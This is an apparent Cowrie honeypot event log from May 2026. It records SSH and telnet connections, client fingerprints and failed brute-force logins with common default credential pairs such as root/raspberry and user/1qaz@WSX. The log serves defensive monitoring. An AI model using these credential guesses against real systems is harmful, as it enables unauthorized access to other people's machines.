{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53440,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0efb07c1941","protocol":"ssh","message":"New connection: 176.65.132.254:53440 (10.17.0.5:22) [session: a0efb07c1941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:02.259463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:02.264779Z","src_ip":"176.65.132.254","session":"a0efb07c1941","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:02.348756Z","src_ip":"176.65.132.254","session":"a0efb07c1941","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:02.598638Z","src_ip":"176.65.132.254","session":"a0efb07c1941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:03.868327Z","src_ip":"176.65.132.254","session":"a0efb07c1941","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53468,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5685a4b10dc","protocol":"ssh","message":"New connection: 176.65.132.254:53468 (10.17.0.5:22) [session: c5685a4b10dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:06.288231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:06.293294Z","src_ip":"176.65.132.254","session":"c5685a4b10dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:06.376834Z","src_ip":"176.65.132.254","session":"c5685a4b10dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"4r3e2w1q","message":"login attempt [root/4r3e2w1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:06.647063Z","src_ip":"176.65.132.254","session":"c5685a4b10dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:07.744667Z","src_ip":"176.65.132.254","session":"c5685a4b10dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":53498,"dst_ip":"10.17.0.5","dst_port":22,"session":"a59e602910ef","protocol":"ssh","message":"New connection: 176.65.132.254:53498 (10.17.0.5:22) [session: a59e602910ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:10.120567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:10.125767Z","src_ip":"176.65.132.254","session":"a59e602910ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:10.208380Z","src_ip":"176.65.132.254","session":"a59e602910ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:10.644116Z","src_ip":"176.65.132.254","session":"a59e602910ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:11.746961Z","src_ip":"176.65.132.254","session":"a59e602910ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.980329513549805,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:11.917094Z","src_ip":"134.209.8.29","session":"206c51c450df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":56418,"dst_ip":"10.17.0.5","dst_port":23,"session":"2acb7942b1ff","protocol":"telnet","message":"New connection: 38.54.119.93:56418 (10.17.0.5:23) [session: 2acb7942b1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:13.076573Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36626,"dst_ip":"10.17.0.5","dst_port":22,"session":"155a096ba8e3","protocol":"ssh","message":"New connection: 176.65.132.254:36626 (10.17.0.5:22) [session: 155a096ba8e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:14.192806Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:14.199620Z","src_ip":"176.65.132.254","session":"155a096ba8e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:14.290903Z","src_ip":"176.65.132.254","session":"155a096ba8e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"erp","message":"login attempt [erp/erp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:14.554915Z","src_ip":"176.65.132.254","session":"155a096ba8e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.8264582157135,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:14.795065Z","src_ip":"134.209.8.29","session":"c496a591aeef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:15.672216Z","src_ip":"176.65.132.254","session":"155a096ba8e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44476,"dst_ip":"159.203.135.109","dst_port":23,"session":"72008a1f54e7","protocol":"telnet","message":"New connection: 134.209.8.29:44476 (159.203.135.109:23) [session: 72008a1f54e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:16.512657Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44478,"dst_ip":"159.203.135.109","dst_port":23,"session":"1879f4fe7f0b","protocol":"telnet","message":"New connection: 134.209.8.29:44478 (159.203.135.109:23) [session: 1879f4fe7f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:17.530242Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":36642,"dst_ip":"10.17.0.5","dst_port":22,"session":"96e8345d6dce","protocol":"ssh","message":"New connection: 176.65.132.254:36642 (10.17.0.5:22) [session: 96e8345d6dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:18.355652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:18.361132Z","src_ip":"176.65.132.254","session":"96e8345d6dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:18.443366Z","src_ip":"176.65.132.254","session":"96e8345d6dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44490,"dst_ip":"159.203.135.109","dst_port":23,"session":"90ee16e6e18e","protocol":"telnet","message":"New connection: 134.209.8.29:44490 (159.203.135.109:23) [session: 90ee16e6e18e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:18.500637Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"raspberry","message":"login attempt [root/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:18.742747Z","src_ip":"176.65.132.254","session":"96e8345d6dce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:19.844443Z","src_ip":"176.65.132.254","session":"96e8345d6dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":44502,"dst_ip":"159.203.135.109","dst_port":23,"session":"00b0326d5d82","protocol":"telnet","message":"New connection: 134.209.8.29:44502 (159.203.135.109:23) [session: 00b0326d5d82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:20.724378Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34566,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f5e1cdd54cc","protocol":"ssh","message":"New connection: 176.65.132.254:34566 (10.17.0.5:22) [session: 5f5e1cdd54cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:22.383642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:22.391340Z","src_ip":"176.65.132.254","session":"5f5e1cdd54cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:22.474985Z","src_ip":"176.65.132.254","session":"5f5e1cdd54cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":34940,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed083660392a","protocol":"telnet","message":"New connection: 38.54.119.93:34940 (10.17.0.5:23) [session: ed083660392a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:22.658781Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:22.721830Z","src_ip":"176.65.132.254","session":"5f5e1cdd54cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":35452,"dst_ip":"10.17.0.5","dst_port":23,"session":"c039959c8bbc","protocol":"telnet","message":"New connection: 38.54.119.93:35452 (10.17.0.5:23) [session: c039959c8bbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:23.386234Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:23.806602Z","src_ip":"176.65.132.254","session":"5f5e1cdd54cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34576,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d41135e6ed5","protocol":"ssh","message":"New connection: 176.65.132.254:34576 (10.17.0.5:22) [session: 0d41135e6ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:26.281049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:26.290199Z","src_ip":"176.65.132.254","session":"0d41135e6ed5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:26.373856Z","src_ip":"176.65.132.254","session":"0d41135e6ed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.869681358337402,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:26.593952Z","src_ip":"134.209.8.29","session":"00b0326d5d82","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kamran","password":"kamran","message":"login attempt [kamran/kamran] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:26.644537Z","src_ip":"176.65.132.254","session":"0d41135e6ed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:27.746942Z","src_ip":"176.65.132.254","session":"0d41135e6ed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.092048168182373,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:27.750620Z","src_ip":"38.54.119.93","session":"ed083660392a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":34586,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c7002cea889","protocol":"ssh","message":"New connection: 176.65.132.254:34586 (10.17.0.5:22) [session: 9c7002cea889]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:30.396391Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:45:30.403240Z","src_ip":"176.65.132.254","session":"9c7002cea889","protocol":"ssh"}
